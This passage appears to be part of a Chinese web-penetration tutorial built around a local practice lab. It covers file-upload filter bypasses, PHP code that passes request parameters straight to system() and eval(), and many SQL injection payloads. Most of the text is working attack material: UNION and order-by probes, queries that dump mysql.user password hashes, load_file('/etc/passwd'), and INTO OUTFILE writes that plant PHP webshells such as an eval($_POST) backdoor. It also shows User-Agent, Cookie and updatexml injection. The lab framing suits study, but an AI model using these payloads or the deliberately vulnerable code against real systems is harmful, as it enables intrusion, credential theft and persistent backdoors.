	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 
"; }else { $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)) echo "上传完成
"; } } } ?>

绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在文件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
	    $fh = fopen($filename, "rb");
	    if($fh)
	    {
	    	$bytes = fread($fh,6);
	    	fclose($fh);
	    	if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
	    		return "image/jpeg";
	    	}
	    	if($bytes == "\x89PNG\x0d\x0a"){
	    		return "image/png";
	    	}
	    	if($bytes == "GIF87a" or $bytes == "GIF89a"){
	    		return "image/gif";
	    	}
	    }
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "状态: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 
"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成
"; } } } ?>

图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.

针对这种上传方式的绕过我们可以将图片与FIG文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
		// 检查是否为图像
		if(@getimagesize($filename))
		{
			if(@imagecreatefromgif($filename)){
				return "image/gif";
			}
			if(@imagecreatefrompng($filename)){
				return "image/png";
			}
			if(@imagecreatefromjpeg($filename)){
				return "image/jpeg";
			}
		}
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "状态: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上传失败 
"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成
"; } } } ?>

上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		$ext_arr = array('jpg','png','gif');
	    $file_name = $_FILES['upload_file']['name'];
	    $temp_file = $_FILES['upload_file']['tmp_name'];
	    $file_ext = substr($file_name,strrpos($file_name,".")+1);
	    $upload_file = UPLOAD_PATH . '/' . $file_name;

	    if(move_uploaded_file($temp_file, $upload_file))
	    {
	    	if(in_array($file_ext, $ext_arr))
	    	{
		    	$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
	             rename($upload_file, $img_path);
	             echo "上传完成. 
"; }else { unlink($upload_file); echo "上传失败.
"; } } } ?>

◆其他漏洞◆

命令执行函数大全。

<?php
	header("Content-type: text/html;charset=gbk");

	$cmd = $_GET['cmd'];
	echo "
 "; system($cmd);
	echo "
 "; passthru($cmd);
	echo exec($cmd);
	echo shell_exec($cmd);
	echo `$cmd`;

// 预防: $cmd = escapeshellcmd($_GET['cmd']);
?>

代码执行,用户能够控制函数输入,存在可执行代码的危险函数。

$cmd = $_GET['cmd'];
if(isset($cmd))
{
	eval("\$cmd=$cmd");
}else
{
	echo "fail";
}
	
// --------------------------------------------------------
// http://192.168.1.2/index.php?cmd=assert&sys=phpinfo
	$_GET['cmd']($_GET['sys']);

SQL注入漏洞

◆基本查询语句◆

搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
	id int(10) primary key not null,
	username varchar(100) not null,
	password varchar(100) not null,
	usremail varchar(100) not null,
	usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.




    
    SQL 注入测试代码

	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
	            $sql = "select * from local_user where id='$id' limit 0,1";
	            $query = mysqli_query($connect,$sql);
	            if($query)
	            	$row = mysqli_fetch_array($query);
		    }
		}
	?>

	
序号用户账号用户密码用户邮箱权限
<?php echo $row['id']; ?> <?php echo $row['username']; ?> <?php echo $row['password']; ?> <?php echo $row['usremail']; ?> <?php echo $row['usertype']; ?>

<?php echo '
后端执行SQL语句: ' . $sql; ?>

Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.

首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

index.php?id=1' and 1=0 union select 1,2,3,4 --+

index.php?id=1' and 1=0 union select 1,2,3,4,5 --+
index.php?id=1' and 1=0 union select null,null,null,null,null --+

Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

index.php?id=1' and 1 order by 6 --+
index.php?id=1' and 1 order by 5 --+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1' and 0 union select null,null,null,null,null --+
index.php?id=1' and 0 union select null,version(),null,null,null --+

index.php?id=1' union select null,null,null,null,null limit 1,1 --+
index.php?id=1' union select null,version(),null,null,null limit 1,1 --+

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

index.php?id=1' and 0 union select 1,1,database(),1,1 --+

index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema='lyshark' --+

查询表中字段: 通过使用table_schematable_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1' and 1=1 --+    # 提交and判断注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1' union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1' union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1' union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1' union select 1,1,@@hostname                     // 判断主机名
index.php?id=1' union select 1,1,@@version                      // 判断数据库版本
index.php?id=1' union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1' union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1' union select 1,1,user()                         // 曝出系统用户
index.php?id=1' union select 1,1,database()                     // 曝出当前数据库

◆GET 注入◆

简单的注入测试: 本关中没有对代码进行任何的过滤.




    
    SQL 注入测试代码


	<?php
		function getCurrentUrl()
		{
		    $scheme = $_SERVER['REQUEST_SCHEME'];   // 协议
		    $domain = $_SERVER['HTTP_HOST'];        // 域名
		    $requestUri = $_SERVER['REQUEST_URI'];  // 请求参数
		    $currentUrl = $scheme . "://" . $domain . $requestUri;
		    return urldecode($currentUrl);
		}
	?>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
		        $sql = "select username,password from local_user where id='$id' limit 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
	        		if($row)
					{
					  	echo "";
					  	echo "账号: {$row['username']} 
"; echo "密码: {$row['password']}
"; echo "
"; echo "后端执行语句: {$sql}
"; $URL = getCurrentUrl(); echo "后端URL参数: {$URL}
"; } else { echo "后端执行语句: {$sql}
"; print_r(mysql_error()); } } } } ?>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id='$id' limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=('$id') limit 0,1";
http://127.0.0.1/index.php?id=-1') union select 1,version() --+
http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+

$sql = "select username,password from local_user where id=(('$id')) limit 0,1";
http://127.0.0.1/index.php?id=-1')) union select 1,version() --+

---------------------------------------------------------------------------------
$id = '"' . $id . "'";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:




    


账号:
密码:
<?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); if(isset($_POST['uname']) && isset($_POST['passwd'])) { $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "
欢迎用户: {$row['username']} 密码: {$row['password']}

"; echo "后端执行语句: {$sql}
"; } else { echo "
后端执行语句: {$sql}
"; } } } } ?>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,2,3 #
admin' and 1 union select 1,2 #

# 爆出数据库
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 继续爆出所有的用户名密码
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));




    
    SQL 注入测试代码


账号:
密码:
<?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { // 获取到用户的Agent客户请求体 $Uagent = $_SERVER['HTTP_USER_AGENT']; // REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的 $IP = $_SERVER['REMOTE_ADDR']; echo "
欢迎用户: {$row['username']} 密码: {$row['password']}

"; echo "您的IP地址是: {$IP}
"; $insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')"; mysqli_query($connect,$insert_sql); echo "User_Agent请求头: {$Uagent}
"; } } } } ?>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1',1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.




    


账号:
密码:
<?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $cookee = $_COOKIE['uname']; if($cookee) { $sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1"; $query = mysqli_query($connect,$sql); echo "执行SQL: " . $sql . "
"; if($query) { $row = mysqli_fetch_array($query); if($row) { echo "
COOKIE 已登录
"; echo "您的账号: " . $row['username'] . "
"; echo "您的密码: " . $row['password'] . "
"; } } } if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); $cookee = $row['username']; if($row) { setcookie('uname', $cookee, time() + 3600); $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "COOKIE已设置: " . date($format, $timestamp); } } } } ?>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin' and 0 union select database(),2--+
Cookie: uname=admin' and 0 union select version(),2--+

update-xml注入:




    
    SQL 注入测试代码


账号:
密码:
<?php error_reporting(0); header("Content-type: text/html;charset=utf8"); function Check($value) { if(!empty($value)) { // 如果结果不为空,则取出其前十五个字符 18 $value = substr($value,0,15); } // 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1 // 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0 if(get_magic_quotes_gpc()) { // 删除由 addslashes() 函数添加的反斜杠 $value = stripslashes($value); } if(!ctype_digit($value)) { // ctype_digit()判断是不是数字,是数字就返回true,否则返回false // mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。 $value = "'" . mysql_real_escape_string($value) . "."; } else $value = intval($value); return $value; } $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=Check($_POST['uname']); $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { $rows = $row['username']; $udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'"; mysql_query($update); if(mysql_error()) { print_r(mysql_error()); } echo "后端执行语句: {$sql}
"; } else { echo "
后端执行语句: {$sql}
"; } } } } ?>

相关